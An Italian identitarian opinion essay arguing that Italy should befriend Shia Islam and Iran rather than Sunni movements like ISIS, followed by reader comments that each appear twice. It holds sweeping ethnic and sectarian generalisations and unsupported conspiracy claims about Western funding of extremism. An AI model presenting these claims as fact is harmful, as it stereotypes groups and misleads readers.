14 Maggio 2024
Tradizione

Islam e Italianità, la Via verso un’Amicizia possibile

Col cuore stanco, non conosco chi c’è dentro di me, perchè io taccio e lui s’agita e grida.
(
Hafez)

A pochi giorni dalla distruzione della storica Moschea di Giona nella città di Mosul ad opera dei miliziani dello Stato Islamico dell’Iraq e del Levante (ISIS) divampa nell’occidente, un tempo cristiano, lo sgomento di fronte all’ennesimo episodio di iconoclastia mediorientale. Il Medio Oriente vive uno dei momenti di massimo caos della sua storia e non si intravede l’uscita da una situazione di potenziale stallo, ove le uniche forze in grado di agire efficacemente sul piano militare, civile e religioso sono quelle dell’Islam sunnita radicale. Come devi porsi l’Occidente dinnanzi a questi fenomeni? Per prima cosa occorrerà ragionare da persone radicate ed allo stesso tempo razionali senza farsi ottenebrare dalle emozioni. Modifichiamo quindi la domanda in “Come deve porsi l’Italia dinnanzi all’espansione dell’Islam radicale?”. Prima di tutto cominciamo col definire cosa intendiamo con Islam radicale. Se con il termine “radicale” intendiamo, alla maniera della Destra, la disponibilità al martirio per la difesa della propria idea di esistenza e di sistemi valoriali allora possiamo dire che tutto l’Islam, in linea quantomeno teorica si può definire come radicale. Stessa cosa dicasi se consideriamo il termine radicale come antitesi di democrazia, rappresentativa o diretta che sia. Teniamo innanzitutto presente che tutti i musulmani hanno come guida il Corano, il cui termine Qur’an significa “recitazione, testo da recitare salmodiando”. Il Corano dunque non è una pedissequa narrazione dei fatti della vita del profeta Muhammad, quanto piuttosto un lungo compendio di messaggi, con un senso esoterico ed uno essoterico, e di formule da recitare durante le preghiere, i digiuni, la meditazione. Essendo le sure dei veri e propri testi di liturgia personale e comunitaria del fedele, esse non sono sindacabili di alcun cambiamento o interpretazione. I messaggi del Corano dunque non possono venire modificati, non sono soggetti ad alcuna discussione (semmai di esegesi, che è cosa ben diversa), a differenza di quanto accade nell’ebraismo e ormai anche diffusamente nel cristianesimo per cui vengono accettate dottrine anche palesemente contrarie ai messaggi di Gesù. Il Corano, per sua natura non è discutibile, poichè esso è stato ricevuto dal Sigillo dei Profeti, quel Muhammad che disse chiaramente che non ci saranno altri profeti dopo di lui e che nessun testo ulteriore scenderà sull’umanità prima del Giorno del Giudizio. Il cosiddetto Occidente tenga bene a mente che non esiste alcun Islam democratico, esiste un Islam tollerante e rispettoso delle diversità, ma un Islam democratico non esiste perchè questo sarebbe in palese contraddizione con le sue stesse disposizioni liturgiche.
Nella sura XLI, 41-42 il Corano riporta

[…] Il Corano è un libro eccellente, al quale non si avvicina il falso, nè avanti ad esso, nè dietro ad esso; esso è una rivelazione da parte di un saggio e di un degno di lode.

Nell’Islam non sussiste alcuno iato tra il messaggio di Muhammad e l’esercizio dell’attività politica mentre Gesù si occupa prevalentemente dello Spirito, aprendo difatti le porte all’anacoretismo civile luterano. La teocrazia cristiana fu opera dei papi, il califfato islamico è opera diretta del profeta Muhammad. Dalla Bosnia all’Asia Centrale, dall’Iran alla Somalia alla Mauritania, il problema del radicalismo islamico è dunque un falso problema; l’Europa non inquadra il problema dell’Isis e dei suoi socii perchè si ostina a colpire un falso bersaglio. Gli stati Europei, e di concerto anche le loro compagini identitarie si ostinano a recepire il problema nel livello di fedeltà che i musulmani destinano alla religione. Per sintetizzare, all’Europa vanno benissimo musulmani che non adempiono ai doveri religiosi imposti da Muhammad, che non osservano le norme civili islamiche e che accettano la cesura tra Stato ed Etica. Inutile dire che non è possibile instaurare un dialogo con il mondo islamico con questi presupposti, non possiamo essere amici dei musulmani quanto più essi si allontanano dalle loro fondamenta culturali. Noi tutti possiamo disquisire di Zoroastrismo e di religioni mesopotamiche, ma il nostro popolo non è chiamato a interloquire con Achemenidi e Sumeri, quanto piuttosto con Iraniani, Iraqeni Siriani, e sarà bene tenerlo in considerazione per non apparire i consueti mistici fuori dal tempo .Non è mia intenzione disquisire di mistica, della quale abbiamo un gran bisogno e che è per definizione fuori dal tempo, ma dell’ottica di comprensione della civiltà islamica di cui abbisogna l’Italia affinchè si costruisca un rapporto paritario non tra l’Italia e gli immigrati musulmani, ma tra l’Italia ed i paesi musulmani radicati e centrati nelle loro tradizioni. Non c’è vera cooperazione senza rispetto. Perchè capire l’Islam? Gli sterili appelli al dialogo delle sinistre europee cadono nel vuoto, poichè in realtà nulla è più estraneo al messaggio del profeta che quanto concetti quale social-democrazia o le sue più abbiette derivazioni. Se un certo Islam, di cui parleremo in seguito, viene a patti con queste forze, lo fa con precisi interessi e comunque senza mai compromettersi. L’identitario dunque deve interloquire con un altro Islam, che non siano solo le confraternite Sufi o Ismailite, oggi come oggi realtà profondamente marginalizzate, ma piuttosto con quelle forze le cui fondamenta ed i cui obbiettivi non siano incompatibili con lo sviluppo di un’Italia libera e sovrana. Il problema del radicalismo islamico dunque non è l’adesione più o meno fedele al Corano, come sostenuto dalla Fallaci, come già detto un musulmano osservante non è un democratico, ma non è sicuramente nemmeno un terrorista. Esistono vari modi di osservare il Corano e qui troviamo il problema del radicalismo. Nel nodo di congiunzione che esiste tra attività politica e professione di fede sta il problema della nascita dei movimenti come l’Isis tanto quanto nello stesso nodo sta il problema del nichilismo occidentale. In termini politologici, nichilismo cristiano ed estremismo islamico nascono dalla fumosità con cui il problema è trattato sia nei Vangeli sia nel Corano. Il problema non è dunque di adesione o meno ai precetti coranici quanto alla loro interpretazione, e attorno all’interpretazione ruota la prima grande divisione in seno all’Islam, quella tra Sunniti e Sciiti. Seppure il profeta Muhammad avesse chiaramente esplicitato il suo volere di vedere il cugino Ali come califfo (guida spirituale e temporale dei Musulmani) non è intenzione di questo articolo dilungarsi sullo scisma islamico, nè di stabilire quale tra le due parti sia più vicina alla verità (benchè sicuramente traspaia l’opinione personale dell’autore), quanto piuttosto esamineremo come alla luce di questa differenza, e soprattutto delle sue implicazioni politologiche, possa inquadrarsi la motivazione che oggi vede spuntare in ogni angolo del mondo gruppi estremistici sul modello dell’Isis. Il profeta Muhammad espresse chiaramente il ruolo primario che la sua famiglia avrebbe dovuto ricoprire alla sua scomparsa, e mentre gli Sciiti restarono fedeli al cugino Ali ed al volere del profeta, la maggioranza dei musulmani elesse altri califfi, la cui carica divenne successivamente ereditaria, creando nei fatti una monarchia che si voleva di stampo Tradizionale ma tuttavia priva di quel continuum sacrale con il sangue di Muhammad ai quali gli Sciiti non erano disposti a rinunciare. E’ vero che anche Ali ricoprì, seppure per soli cinque anni, il califfato, ma ben più importante è il suo ruolo di Imam, di vero e proprio maestro di questioni religiose, sì che il profeta ebbe più volte a dire che nessuno più di Ali le interpretasse meglio. L’Islam, sia sunnita che sciita considera gli hadith, i detti del profeta Muhammad alla stregue di rivelazioni coraniche, poichè essi non sono, se autentici, in contraddizione con il Corano. Tuttavia, come riportato dal teologo iraniano Tabataba’i, le prime fasi del potere califfale videro una furiosa repressione da parte dei califfi dell’interpretazione degli hadith di modo da poter osservare il Corano come una carta costituzionale a cui attenersi in maniera arbitraria. La natura intima del Corano, esoterica, lo rende un testo estremamente criptico nei suoi anfratti e piuttosto sterile se lo si applica alla lettera e, dal punto di vista mistico, sarebbe ben difficile credere che un Dio, quale che sia, parli solo con un unico livello di lettura mandando agli uomini una volgarissima costituzione e non invece un libro che custodisce le chiavi del cuore e del Sè interiore. Nel celare gli hadith del profeta e nell’interpretare il Corano a proprio piacimento, i primi califfi Omayyadi e Abbasidi andarono esplicitamente contro le parole di Muhammad, il quale ebbe a dire:

“Chiunque interpreti il Corano secondo il proprio giudizio, si riserva un posto tra le fiamme dell’Inferno”.

E si misero sullo stesso piano di quegli Ebrei contro i quali lo stesso profeta si scaglia più volte accusandoli di aver falsificato le precedenti rivelazioni divine a proprio vantaggio.
Correlando il Corano (parola divina) con gli hadith (parola del profeta) si ha dunque una visione unitaria ed armoniosa delle regole di vita islamiche che non in una ripetizione pedissequa del Corano in chiave essoterica. Nella catena dell’Imamato, la Shi’ah ha il suo legame con la famiglia di Muhammad, mentre i Sunniti si richiamano piuttosto alla consuetudine ed all’interpretazione tav’il del Corano. A bene vedere, la liceità di quest’impostazione risulta difficile da sostenere alla luce delle parole di Muhammad di cui sopra. Sia Sunniti che Sciiti attribuiscono al Corano un senso celato ed uno manifesto, ma mentre per i Sunniti non esiste, a causa di varie vicende storiche, una guida in grado di congiungersi spiritualmente a Muhammad, per gli Sciiti duodecimani tale ruolo è ricoperto da, citando Tabataba’i “i profeti e i più puri fra i diletti di Dio, liberi dai vincoli dell’umana imperfezione”. Agli uomini comuni, il senso esoterico (haqiqah) sarà disvelato solamente il giorno del giudizio. Sebbene Ibn’Arabi parli di figure polari, inconsapevolmente tali, in costante contatto con Allah e Muhammad, non esistono oggi uomini in grado di vantare un collegamento diretto con la famiglia del profeta. L’ultimo imam, il dodicesimo, il Mahdi, figlio dell’undicesimo Imam Hasan ‘Askari, non è deceduto, bensì in stato di transitorio occultamento in attesa di instaurare la Giustizia nel Mondo “laddove esso è ricolmo di violenza e oppressione” (hadith riportatoci da ‘Abdullah Ibn Mas’ud). Il Mahdi, ricopre anche la funzione di welayat, ossia di guida interiore degli atti degli uomini, similmente al Re del Mondo di guenoniana memoria. Depositario del contatto in forma di welayat con il Mahdi fu, per lo sciismo iranico, Ruhollāh Khomeyni e dopo di lui i suoi dotti successori. Lo sciismo della Repubblica Islamica dell’Iran dunque mantiene, almeno a livello ideale, una catena che lo lega all’imamato e dunque alla famiglia di Muhammad. La codificazione delle leggi religiose e della teocrazia da parte degli Ayatollah’ impedisce dunque, almeno nelle intenzioni, quel tav’il, quell’interpretazione personalistica da cui Muhammad metteva in guardia i musulmani. L’estremismo islamico, non è dunque frutto di una adesione più o meno marcata al Corano, quanto piuttosto di una sua interpretazione personalistica ed arbitraria da personaggi dediti più alla superbia ed al saccheggio che non alla meditazione ed all’ascesi. Khomeyni fu rivoluzionario e golpista, ma prima di tutto filosofo e mistico, cosa che di certo non è l’autoproclamato califfo Al Baghdadi, attualmente guida suprema di mezzo Iraq ed un terzo di Siria. Il principio del tav’il apre di fatto le porte a qualsiasi fanatismo, che infatti è assai comune nel mondo Sunnita, mentre è raro nella Shi’āh. Ben sappiamo come ogni popolo guardi ogni fatto storico e religioso che lo riguardi con il proprio punto di vista etnico ed identitario, e se l’europeo tende a reagire con il nichilismo di fronte all’allontanamento dal sacro, il mediorientale semitico tende ad arrendersi ad un fanatismo acqueo, evolianamente parlando. Non a caso la Shi’āh, l’Islam razionale amico della Scienza Sacra, della Filosofia, la cui pratica Khomeyni esorta il figlio Ahmad in una commovente lettera di commiato, prevale in Iran e nelle regioni eredi delle civiltà indoeuropee. La Sunnah, fuori dall’ambiente mediorientale, tende a diventare mero formalismo, come dimostrano spesso e volentieri l’Islam bosniaco, albanese o russo. Il mondo Sunnita è pieno di predicatori e sedicenti califfi, non meno di quanto il mondo protestante sia pieno di presunti messaggeri e Messia, ed invero l’estremismo islamico odierno è il riflesso musulmano del neoprotestantesimo americano, che infatti lo finanzia con mezzi ingenti. Come altri, il Corano è un testo gnostico, con svariati livelli di lettura e ricco di chiavi e sensi molteplici. Come ogni testo gnostico trattasi di una bomba ad orologeria se messa in mano a personaggi di dubbia intenzione e dubbia sanità mentale, senza un maestro tutto diventa un azzardo. Certo, l’ispirazione divina può condurre all’illuminazione, ma può anche sviare l’iniquo e condurlo alla pazzia, un maestro, quale possiamo intendere uno qualunque dei dodici Imam, serve ad evitare questo. Naturalmente, alle potenze occidentali l’idea che esistano maestri quand’anche occultati, non piace per nulla, molto meglio lasciare che i deboli interpretino liberamente chiavi di lettura difficilissime, in modo che ne stravolgano il senso e lo dilavino nella violenza, piuttosto che queste siano usate per mettere a nudo il demone che costantemente muove la modernità. La discutibile iconoclastia talebana che fece saltare i Buddha di Bamyan, è un sintomo di decadenza, anche per il fatto che quelle zone erano comunque già musulmane da secoli, ma dal punto di vista logico c’era coerenza con i principi islamici. Ma quale coerenza si trova nel distruggere la moschea ove era la tomba del profeta Giona, che nel Corano è ripetutamente lodato? Quale islam è questo, che in Mali ed Iraq distrugge le tombe dei Sufi? Mentre al terrorista Al Baghdadi era consentito armarsi ed instaurare la sua milizia, gli USA non hanno mai cessato di indicare come pericolo mortale lo sciita Moqtada al-Sadr ed i suoi finanziatori iraniani, nonostante quest’ultimo non abbia mai fatto saltare moschee o costruito eserciti per conquistare “Roma e la Spagna” come invece ha fatto Al Baghdadi. Nella Shi’āh, il potere economico e politico dell’occidente vede il pericolo di un polo islamico sotto un’unica guida e dunque tutto il lavoro delle potenze occidentali ruota attorno all’indebolimento dello sciismo, vale a dire principalmente dell’Iran e del Libano, nonchè di tutti quei regimi laici (Siria, Libia ecc) che più ostacolano l’affermazione di questi gruppi settari. Ove la divisione prospera, là sono gli interessi degli Stati Uniti, ce lo si ricordi sempre. Un Islam diviso e fanatico,  perennemente in guerra civile, e dunque in perenne implosione-esplosione, cementa negli occidentali la paura del fanatismo e favorisce l’instaurazione di poteri esterni in medio oriente. Per questo non dico nulla di nuovo se affermo che il partner ideale per gli interessi geostrategici italiani è la Shi’āh, l’Iran, lo sciismo libanese, i Sufi del Caucaso e gli Ismailiti. Da eurasista critico, quale mi reputo, non intendo ora analizzare ancora i dettagli politologici e le convenienze economico-militari che l’alleanza col mondo sciita potrebbe portare alla nostra Italia, molti lo hanno fatto come e molto meglio di me. E’ piuttosto mia premura sottolineare cosa dovrebbe l’Italia fare, o almeno coloro che ambissero a guidarla, per poter ricoprire nel mondo musulmano e specificamente sciita, un ruolo di primo piano, andando oltre a mere relazioni di convenienza, sempre soggette a cambi di vento, fino a giungere all’amicizia, ma senza mai rinnegare la realtà identitaria di ciò che l’Italia è, religiosamente ed etnicamente. Khomeyni ebbe a dire più volte, che l’Occidente non avrebbe mai potuto trionfare sul mondo poichè la sua più grande debolezza era l’aver perso la fede in Dio. Khomeyni ragionava qui da politico e non da mistico. Non rimproverava all’Europa il suo non essere musulmana, quanto piuttosto il suo agnosticismo nichilista che, sosteneva l’Ayatollah, l’avrebbe portata prima o dopo all’implosione. Per l’Islam tradizionale, che gli Europei adorino Gesù è un trascurabile dettaglio, è piuttosto il loro adorare il proprio sè individuale sopra ogni cosa ad essere intollerabile, ad essere satanico. Nella mistica persiana c’è spazio per la ricerca interiore cristiana e non solo. Gli gnostici parlano la medesima lingua ovunque, e già Shabestari affermava, nella sua perla, il Golshan-e Raz:

“Quando il tuo ego non più in questione, qual’è la Kaa’ba, quale la Sinagoga, quale il Convento?”

e ancora

Se il musulmano capisse cosa un idolo sia, capirebbe che esiste Fede nell’idolatria.

E’ Ibn’Arabi a dirci che “tutte le religioni sono uguali” e Khayyām ribadisce

Quale empietà, quale Islam, quale Ortodossia, quale peccato! Tu sei la meta, getta via le scuse!”.

Se questa è una delle possibili chiavi esoteriche dell’Islam a colui che scrive non è dato sapere, ma senza dubbio sappiamo che Ibn’Arabi non è considerato, in ambito islamico tradizionale, un eretico, mentre senza dubbio lo è per Al-Baghdadi, Boko Haram e socii vari. Khomeyni senza dubbio era lontano da questi sodalizi sunniti quando rimproverava a Giovanni Paolo II il suo impicciarsi nelle questioni politiche mediorientali piuttosto che il suo essere cattolico. Il nemico della Shi’āh non è il cristiano o l’indù, i quali, fino a che centrati, sono considerati degni di rispetto, quando piuttosto il nichilista, lo sradicato. L’infedele, per Khomeyni è prima di tutto l’ateo, il materialista, il neo-epicureo. Certo, ci troviamo a livelli di profondissima gnosi e, come specificato sopra, tali concetti della haqiqah saranno rivelati a tutti solamente nel giorno del giudizio. Non sentiremo mai, naturalmente, un leader musulmano pronunciare simili frasi in pubblico. Gettare i segreti della Gnosi in pasto a masse che non possono capirli produrrebbe una conflagrazione devastante di nichilismo e, d’altra parte, nemmeno le chiavi dell’esoterismo italico-romano erano (e sono) disponibili a tutti. Anche per le Scienze valgono i medesimi concetti e Bellarmino, che sapeva benissimo quanto Galileo avesse ragione, non ne condannava gli studi, quanto la loro diffusione che, a detta sua, avrebbero scatenato un’ondata pericolosa di materialismo se sottoposti ad uomini privi della giusta preparazione. I fatti gli diedero ragione, ne nacque l’illuminismo, poi il relativismo e l’attuale serpente che rode le nostre radici. Per questo parlare all’Islam non può e non deve solamente essere una questione materiale e razionale, ma negli occhi degli interlocutori dovrebbe parlarsi la lingua internazionale di coloro che hanno accesso ad un certo patrimonio sapienziale. Un uomo non piantato nelle sue radici, ma solamente mosso da interessi militari od economici potrà avere l’alleanza dei musulmani, ma non l’amicizia. Quanto vale un’alleanza senza amicizia? Quanto vale un’amicizia senza stima? Naturalmente è sempre d’uopo ricordarsi che si parla di Amicizia con l’Islam, e non di matrimonio, onde evitare di scivolare in pericolosi deliri da convertiti della domenica (o del venerdì), che un certo ambiente ben conosce. Il dovere dell’Italia verso il suo popolo è cercare, oltre alla sacrosanta e prioritaria unione di intenti, spirituali e politici con la Madre Europa, l’amicizia dei seguaci osservanti del Corano. Un’Italia piantata con i piedi ben saldi nelle sue radici, nel suo orgoglio etnico, in una prospettiva religiosa chiara, lineare, nemica del nichilismo verrebbe certamente rispettata in ambito musulmano molto di più di quanto non lo sia un’Italia social-nazionale solamente in cerca di basi navali e petrolio ed i vantaggi per il nostro paese, anche culturalmente, diverrebbero incalcolabili. L’Italia “portaerei del Mediterraneo” rimarrebbe solo una piattaforma bancaria e militare se non si intedesse quanta importanza possieda la vera amicizia tra le nostre civiltà, non c’è potenza militare se non c’è potenza culturale, se non capiamo noi stessi e cosa significhi rimanere fedeli ad un’ottica di geometria e razionalità non potremo comprendere l’Islam e rimarremo prigionieri delle paure e del dubbio di fronte al dogmatismo ostile degli immigrati, quegli immigrati che sono il prototipo del musulmano sradicato e “laico” (nel senso di mera interpretazione civile del Corano) e che in ambiente islamico tradizionale possiedono una reputazione meno che pessima. Tendere la mano in segno di amicizia ad un’Islam tradizionale, anche Sunnita (gli Sciiti non mantengono, ovviamente il monopolio della sapienza e della gnosi islamica, come dimostrano Al-Jilani e Al-Ghazāli), significherebbe avere il monopolio di questo dialogo nei confronti delle altre potenze europee e degli Usa, significherebbe una più grande libertà di manovra nel Mediterraneo. Una conoscenza più approfondita del modo di vedere Dio, del Corano, dell’esoterismo islamico, da parte di una classe dirigente italiana identitaria e ben centrata, significherebbe, al momento dell’interloquire con realtà musulmane “laiche” quali ad esempio quelle caucasiche o balcaniche, uno stimolo per queste ultime a riconoscere e ritrovare una via spirituale per portarle lontane dallo stato semi-barbarico in cui un comunismo avvizzito e un occidente corsaro le hanno lasciate (il caso dell’Albania è, direi, emblematico. Trattasi inoltre di area di interesse geostrategico fondamentale per l’Italia). Ritrovare noi stessi attraverso la riscoperta delle nostre radici e, mediante studio e volontà di conoscere, che poi è il multiculturalismo vero e proficuo, è il miglior modo per aiutare gli altri, non solamente i musulmani, ad aiutare loro stessi, riportandoli alla loro strada dei padri. Questo non dovrebbe essere la sintesi del pensiero identitario? Amare sè stessi per amare gli altri e viceversa, per ciò che le nostre anime più intimamente sono: italiane, arabe, persiane. Musulmane, Ortodosse, Cattoliche, Induiste, e via discorrendo. A che serve dire no alle moschee se non specifichiamo che le respingiamo non perchè respingiamo Muhammad, che ognuno è libero o meno di accogliere interiormente, ma perchè respingiamo una sottospecie barbarica di Islam, che ha perduto la via dell’esegesi, il contatto con la Famiglia del Profeta stesso e con le sue, tra le varie cose, origini etniche? Forse nel mondo musulmano tradizionale il nostro punto di vista sarebbe più apprezzato di quanto noi non crediamo. Nell’ambito geopolitico di una certa destra prevale ultimamente una certa realpolitik, che non è certo la Machtpolitik con la quale spesso la si confonde. Interessi ed eserciti sono sottoposti a meri calcoli materiali, ma che cosa sono la freddezza e la logica se non servono al bene comune, alla felicità vera dei popoli?
Sempre Khomeyni, nella lettera al figlio Ahmad lo esortava a occuparsi di Scienza, ma sempre mettendola al servizio della ricerca della Verità. Quando si allontana da ciò, Scienza e Logica sono sterili ed empi sibili di Iblis. Non commettiamo questo errore, che la ricerca della nostra Identità sia sempre la nostra ricerca di Verità. Chi scrive non vuole sindacare sulle ricerche religiose ed esoteriche di ognuno, prenda chi vuole le vie che desidera, ma in ambito politico seguiamo una strada comune.. Certamente qualche lettore obietterà che secondo l’Islam, tradizionale o “estremista” che sia, noi siamo degli infedeli e come tale dobbiamo venire convertiti o uccisi nella jihad. E’ senza dubbio vero che chi non è musulmano è visto come infedele dai musulmani, ma è anche vero che i musulmani sono visti come tali da tutte le chiese cristiane, compresa quella cattolica, sempre pavida nella definizione chiara delle sue posizioni riguardo agli altri monoteismi. I musulmani sono fermamente convinti di detenere la Verità, ma non lo siamo anche noi? I musulmani sognano un mondo interamente musulmano, non sognamo anche noi un mondo interamente identitario? Interamente pagano (o cattolico, ortodosso ecc)? Tutti i popoli sognano, poi alcuni sogni possono essere incubi per altri, ma rimangono comunque miraggi. Tra i musulmani esistono anche saggi governanti che ben distinguono i sogni dalla realtà, e chi scrive è certo che anzi ve ne siano più che in occidente. Le migliori menti europee ed islamiche si rendono ben conto di quello che sta accadendo, dell’Orrore che sta avanzando sotto la forma di vuoto totale, l’abisso che poi è la sintesi di Iblis-Satana, l’Anticristo di Alexander Dugin o come a chiunque piaccia definirlo. Respingere il Vuoto ed opporsi all’Entropia non è questione politica o religiosa ma logica, non esiste, a nessun livello, alcuna ragione che ci imponga di non combattere insieme agli avversari di questo abisso. Esempi ve ne sono già stati, come ad esempio la sconfitta dei terroristi salafiti e wahabiti in Cecenia, ben foraggiati da Turchi, Sauditi, Qatarioti nonchè USA e Israele, ad opera di Vladimir Putin. L’alleanza di Putin con le locali autorità Sufi, storicamente simbolo dell’Islam ceceno ha scacciato l’Islam posticcio e coloniale importato dal Golfo Persico, spezzando l’idea che la guerra di Cecenia fosse una jihad contro gli infedeli russi e, di fatto, privando di legittimità i terroristi della Cecenia. Grazie a questa alleanza un tentacolo del Kraken oceanico che risaliva dalla Mesopotamia e dalla Turchia è stato tranciato tra le ferrigne montagne del Caucaso. Similmente l’Europa, ed in particolare l’Italia, potrebbero, a lungo termine porre fine ad alcune destabilizzazioni che un certo Islam produce nei suoi territori, come, oltre alle varie banlieues, l’attivismo sovversivo dei turchi nel sud della Bulgaria, la disattivazione della religione come fattore identitario per la popolazione albanese del Kosovo, la stabilizzazione della situazione politica della Libia, con tutto ciò che questo comporterebbe.  Un’Italia forte, sovrana, potente, che sia Amica e che sia di Esempio per i popoli, ciò che fu Roma non fu nient’altro che questo. L’esempio di Roma, più che acquedotti e ponti, portarono la sua civiltà all’immortalità. Immortalità politica ed immortalità dell’Anima non sono in controtendenza. L’islam tende a unire le due cose, noi a separarle leggermente, ma non è il fine sempre il medesimo, il raggiungere il la casa del Principio Primo? Serriamo i ranghi dunque e armiamoci di Speranza. Chiudo questo scritto con un appello di Tabataba’i, stimato khomeynista e docente presso la città santa sciita di Qom:

L’uomo è stato costantemente animato dal desiderio di raggiungere una vita sociale accompagnata dalla felicità, nel senso pieno del termine, ed egli agisce nella speranza di realizzare tale felicità. Se questo desiderio non avesse riscontro oggettivo non prenderebbe corpo nell’animo umano, così come se non esistesse il cibo non vi sarebbe la fame, se non esistesse l’acqua non esisterebbe la sete, o se non esistesse la procreazione non esisterebbe l’attrazione tra i sessi. Quindi, di necessità, il mondo vedrà giungere il tempo in cui la società umana sarà dominata dalla Giustizia, dalla convivenza pacifica e dal benessere, e in cui gli uomini conosceranno soltanto perfezione e virtù. L’instaurazione di tale società avverrà per mezzo dell’uomo stesso. Infatti essa sarà guidata dal salvatore del genere umano, che nell’espressione degli hadith prende il nome di Mahdi

Marco Italicus Malaguti

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14 Comments

  • Valentina 31 Luglio 2014

    Complimenti, è un articolo molto bello e finemente argomentato.

  • Valentina 31 Luglio 2014

    Complimenti, è un articolo molto bello e finemente argomentato.

  • Luca Valentini 31 Luglio 2014

    Non si può non elogiare la bellezza e la chiarezza intellettuale di questo scritto. Lì dove un cultore della Classicità incontra tutta la raffinatezza della metafisica islamica, lì risorge il lume eterno della Tradizione Arcaica, lì dove si manifesta il Sole che brilla nella notte interiore, che si ritrova in Apuleio, nell’uomo di Luce sciita (Corbin), lo ritroviamo negli insegnamenti magici Ur…Bravo Marco!!!

    • Marco Malaguti 2 Agosto 2014

      Ti ringrazio per questo splendido commento caro Luca, ed in effetti Apuleio e Corbin sono tra i miei prediletti.

  • Luca Valentini 31 Luglio 2014

    Non si può non elogiare la bellezza e la chiarezza intellettuale di questo scritto. Lì dove un cultore della Classicità incontra tutta la raffinatezza della metafisica islamica, lì risorge il lume eterno della Tradizione Arcaica, lì dove si manifesta il Sole che brilla nella notte interiore, che si ritrova in Apuleio, nell’uomo di Luce sciita (Corbin), lo ritroviamo negli insegnamenti magici Ur…Bravo Marco!!!

    • Marco Malaguti 2 Agosto 2014

      Ti ringrazio per questo splendido commento caro Luca, ed in effetti Apuleio e Corbin sono tra i miei prediletti.

  • Daniel 1 Agosto 2014

    Bravo Marco, un articolo onesto. Si vede che hai letto con attenzione “Un altro Islam. Mistica, metafisica e cosmologia” del Pio.
    😉

    • Marco Malaguti 2 Agosto 2014

      Caro Daniel, è un grande piacere risentirti e mi auguro avremo presto occasione di confrontarci de visu su questi argomenti. Sul libro che citi mi trovi d’accordo, è stato il primo che ho letto sull’argomento e lo trovo fondamentale, è come una mappa concettuale che permette di orientarsi in un ambito non semplice. Sentiamoci presto.

  • Daniel 1 Agosto 2014

    Bravo Marco, un articolo onesto. Si vede che hai letto con attenzione “Un altro Islam. Mistica, metafisica e cosmologia” del Pio.
    😉

    • Marco Malaguti 2 Agosto 2014

      Caro Daniel, è un grande piacere risentirti e mi auguro avremo presto occasione di confrontarci de visu su questi argomenti. Sul libro che citi mi trovi d’accordo, è stato il primo che ho letto sull’argomento e lo trovo fondamentale, è come una mappa concettuale che permette di orientarsi in un ambito non semplice. Sentiamoci presto.

  • Sandro Giovannini 7 Agosto 2014

    Caro Malaguti,
    ho intuitivamente grandemente apprezzato la finezza, profondità ed equilibrio del Suo scritto, come sottolineato anche da Luca Valentini ma con ben più mezzi di conoscenza dei miei, ammettendo io di non essere affatto in grado di essere sereno navigatore entro il grande mare mosso dell’Islamismo. Gradirei fare conoscere a personalità ben più preparate di me tale Suo lavoro, perché magari ci possano confortare maggiormente in un ambito di “avvicinamento critico”, anche in questo orizzonte, ormai indispensabile…
    Grazie.
    vale
    Sandro Giovannini
    giovannini.sandro@libero.it
    http://www.heliopolisedizioni.com
    http://www.sandrogiovannini.com

    • Marco Malaguti 9 Agosto 2014

      Sono molto felice della sua risposta e naturalmente sono d’accordo. Le scriverò.

  • Sandro Giovannini 7 Agosto 2014

    Caro Malaguti,
    ho intuitivamente grandemente apprezzato la finezza, profondità ed equilibrio del Suo scritto, come sottolineato anche da Luca Valentini ma con ben più mezzi di conoscenza dei miei, ammettendo io di non essere affatto in grado di essere sereno navigatore entro il grande mare mosso dell’Islamismo. Gradirei fare conoscere a personalità ben più preparate di me tale Suo lavoro, perché magari ci possano confortare maggiormente in un ambito di “avvicinamento critico”, anche in questo orizzonte, ormai indispensabile…
    Grazie.
    vale
    Sandro Giovannini
    giovannini.sandro@libero.it
    http://www.heliopolisedizioni.com
    http://www.sandrogiovannini.com

    • Marco Malaguti 9 Agosto 2014

      Sono molto felice della sua risposta e naturalmente sono d’accordo. Le scriverò.

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